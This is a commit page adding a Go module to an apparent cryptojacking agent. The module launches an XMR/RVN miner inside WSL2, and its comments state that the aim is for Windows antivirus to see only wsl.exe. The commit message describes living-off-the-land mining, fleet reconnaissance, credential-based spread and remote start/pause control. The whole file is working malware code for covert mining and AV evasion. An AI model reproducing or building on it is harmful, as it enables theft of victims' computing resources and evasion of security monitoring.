Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
198
agent/miner/wsl_launcher.go
Normal file
198
agent/miner/wsl_launcher.go
Normal file
@@ -0,0 +1,198 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultWSLDistro = "Ubuntu"
|
||||
defaultWSLWorkerPath = "/opt/aetherforge/worker"
|
||||
wslSystemdUnitName = "aetherforge-miner.service"
|
||||
)
|
||||
|
||||
// wslExecCommand is exec.Command; tests override via SetWSLExecCommand.
|
||||
var wslExecCommand = exec.Command
|
||||
|
||||
// SetWSLExecCommand restores the default when fn is nil.
|
||||
func SetWSLExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||
if fn == nil {
|
||||
wslExecCommand = exec.Command
|
||||
return
|
||||
}
|
||||
wslExecCommand = fn
|
||||
}
|
||||
|
||||
// WSLLauncher supervises CPU mining inside a WSL2 distro via wsl.exe -e.
|
||||
// Windows AV sees only wsl.exe — the worker binary lives in the Linux VFS.
|
||||
//
|
||||
// Remote start_mining / pause can toggle the systemd user unit without spawning
|
||||
// a new process tree on each resume:
|
||||
//
|
||||
// wsl.exe -d <distro> -e systemctl --user start aetherforge-miner.service
|
||||
// wsl.exe -d <distro> -e systemctl --user stop aetherforge-miner.service
|
||||
//
|
||||
// Install the unit once under ~/.config/systemd/user/ in the target distro.
|
||||
// When systemd is unavailable, Start falls back to wsl.exe -e bash -lc with
|
||||
// the same AETHERFORGE_* env vars as the container tier (same XMR wallet).
|
||||
type WSLLauncher struct {
|
||||
cfg config.RuntimeConfig
|
||||
wsl WSLRuntimeInfo
|
||||
distro string
|
||||
|
||||
mu sync.Mutex
|
||||
running bool
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
// NewWSLLauncher builds a launcher when WSL2 is available on Windows.
|
||||
func NewWSLLauncher(cfg config.RuntimeConfig, wslRT WSLRuntimeInfo) (*WSLLauncher, error) {
|
||||
if !wslRT.Available || wslRT.CLI == "" {
|
||||
return nil, fmt.Errorf("WSL2 not available (no wsl.exe or no distros)")
|
||||
}
|
||||
distro := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_DISTRO"))
|
||||
if distro == "" && len(wslRT.Distros) > 0 {
|
||||
distro = wslRT.Distros[0]
|
||||
}
|
||||
if distro == "" {
|
||||
distro = defaultWSLDistro
|
||||
}
|
||||
return &WSLLauncher{cfg: cfg, wsl: wslRT, distro: distro}, nil
|
||||
}
|
||||
|
||||
// Start launches mining inside WSL (idempotent while already running).
|
||||
func (l *WSLLauncher) Start() error {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.running {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Prefer systemd user unit when installed in the distro.
|
||||
if err := wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "start", wslSystemdUnitName).Run(); err == nil {
|
||||
l.running = true
|
||||
log.Printf("[wsl] started %s via systemd user unit (distro=%s)", wslSystemdUnitName, l.distro)
|
||||
return nil
|
||||
}
|
||||
|
||||
args := l.buildDirectExecArgs()
|
||||
cmd := wslExecCommand(l.wsl.CLI, args...)
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
if err := cmd.Start(); err != nil {
|
||||
return fmt.Errorf("wsl worker start failed: %w", err)
|
||||
}
|
||||
l.cmd = cmd
|
||||
l.running = true
|
||||
log.Printf("[wsl] started worker in distro=%s wallet=%s", l.distro, l.cfg.Wallet)
|
||||
go l.waitExit()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *WSLLauncher) buildDirectExecArgs() []string {
|
||||
worker := strings.TrimSpace(os.Getenv("AETHERFORGE_WSL_WORKER"))
|
||||
if worker == "" {
|
||||
worker = defaultWSLWorkerPath
|
||||
}
|
||||
script := fmt.Sprintf("export %s; exec %s",
|
||||
strings.Join(l.wslEnv(), " "),
|
||||
worker,
|
||||
)
|
||||
return []string{"-d", l.distro, "-e", "bash", "-lc", script}
|
||||
}
|
||||
|
||||
func (l *WSLLauncher) wslEnv() []string {
|
||||
threads := l.cfg.EffectiveThreads()
|
||||
pairs := []string{
|
||||
"AETHERFORGE_SERVER_URL=" + l.cfg.ServerURL,
|
||||
"AETHERFORGE_WALLET=" + l.cfg.Wallet,
|
||||
"AETHERFORGE_WORKER=" + l.cfg.WorkerName,
|
||||
"AETHERFORGE_POOL_HOST=" + l.cfg.PoolHost,
|
||||
"AETHERFORGE_POOL_PORT=" + fmt.Sprintf("%d", l.cfg.PoolPort),
|
||||
"AETHERFORGE_POOL_TLS=" + boolEnv(l.cfg.PoolTLS),
|
||||
"AETHERFORGE_POOL_PASS=" + l.cfg.PoolPass,
|
||||
"AETHERFORGE_THREADS=" + fmt.Sprintf("%d", threads),
|
||||
"AETHERFORGE_MINER_EXECUTION=" + ExecutionInProcess,
|
||||
"AETHERFORGE_FLEET_SECRET=" + l.cfg.FleetSecret,
|
||||
}
|
||||
if l.cfg.RVNWallet != "" {
|
||||
pairs = append(pairs,
|
||||
"AETHERFORGE_RVN_WALLET="+l.cfg.RVNWallet,
|
||||
"AETHERFORGE_RVN_POOL_HOST="+l.cfg.RVNPoolHost,
|
||||
"AETHERFORGE_RVN_POOL_PORT="+fmt.Sprintf("%d", l.cfg.RVNPoolPort),
|
||||
"AETHERFORGE_GPU_ENABLED="+boolEnv(l.cfg.GPUEnabled),
|
||||
)
|
||||
}
|
||||
return pairs
|
||||
}
|
||||
|
||||
func (l *WSLLauncher) waitExit() {
|
||||
if l.cmd == nil {
|
||||
return
|
||||
}
|
||||
err := l.cmd.Wait()
|
||||
l.mu.Lock()
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.mu.Unlock()
|
||||
if err != nil {
|
||||
log.Printf("[wsl] worker exited: %v — host will fall back if configured", err)
|
||||
} else {
|
||||
log.Printf("[wsl] worker stopped")
|
||||
}
|
||||
}
|
||||
|
||||
// Stop halts the WSL workload (systemd unit or direct process).
|
||||
func (l *WSLLauncher) Stop() {
|
||||
l.mu.Lock()
|
||||
running := l.running
|
||||
l.mu.Unlock()
|
||||
if !running {
|
||||
return
|
||||
}
|
||||
_ = wslExecCommand(l.wsl.CLI, "-d", l.distro, "-e", "systemctl", "--user", "stop", wslSystemdUnitName).Run()
|
||||
l.mu.Lock()
|
||||
if l.cmd != nil && l.cmd.Process != nil {
|
||||
_ = l.cmd.Process.Kill()
|
||||
}
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.mu.Unlock()
|
||||
}
|
||||
|
||||
// Running reports whether the launcher believes the WSL worker is active.
|
||||
func (l *WSLLauncher) Running() bool {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
return l.running
|
||||
}
|
||||
|
||||
// ToggleWSLMining starts or stops the systemd user unit via wsl.exe.
|
||||
// Used by remote start_mining / pause when a WSL sidecar is the active tier.
|
||||
func ToggleWSLMining(wslRT WSLRuntimeInfo, distro string, start bool) error {
|
||||
if !wslRT.Available || wslRT.CLI == "" {
|
||||
return fmt.Errorf("WSL2 not available")
|
||||
}
|
||||
if strings.TrimSpace(distro) == "" {
|
||||
if len(wslRT.Distros) > 0 {
|
||||
distro = wslRT.Distros[0]
|
||||
} else {
|
||||
distro = defaultWSLDistro
|
||||
}
|
||||
}
|
||||
verb := "stop"
|
||||
if start {
|
||||
verb = "start"
|
||||
}
|
||||
cmd := wslExecCommand(wslRT.CLI, "-d", distro, "-e", "systemctl", "--user", verb, wslSystemdUnitName)
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("wsl systemctl %s %s: %w", verb, wslSystemdUnitName, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
Reference in New Issue
Block a user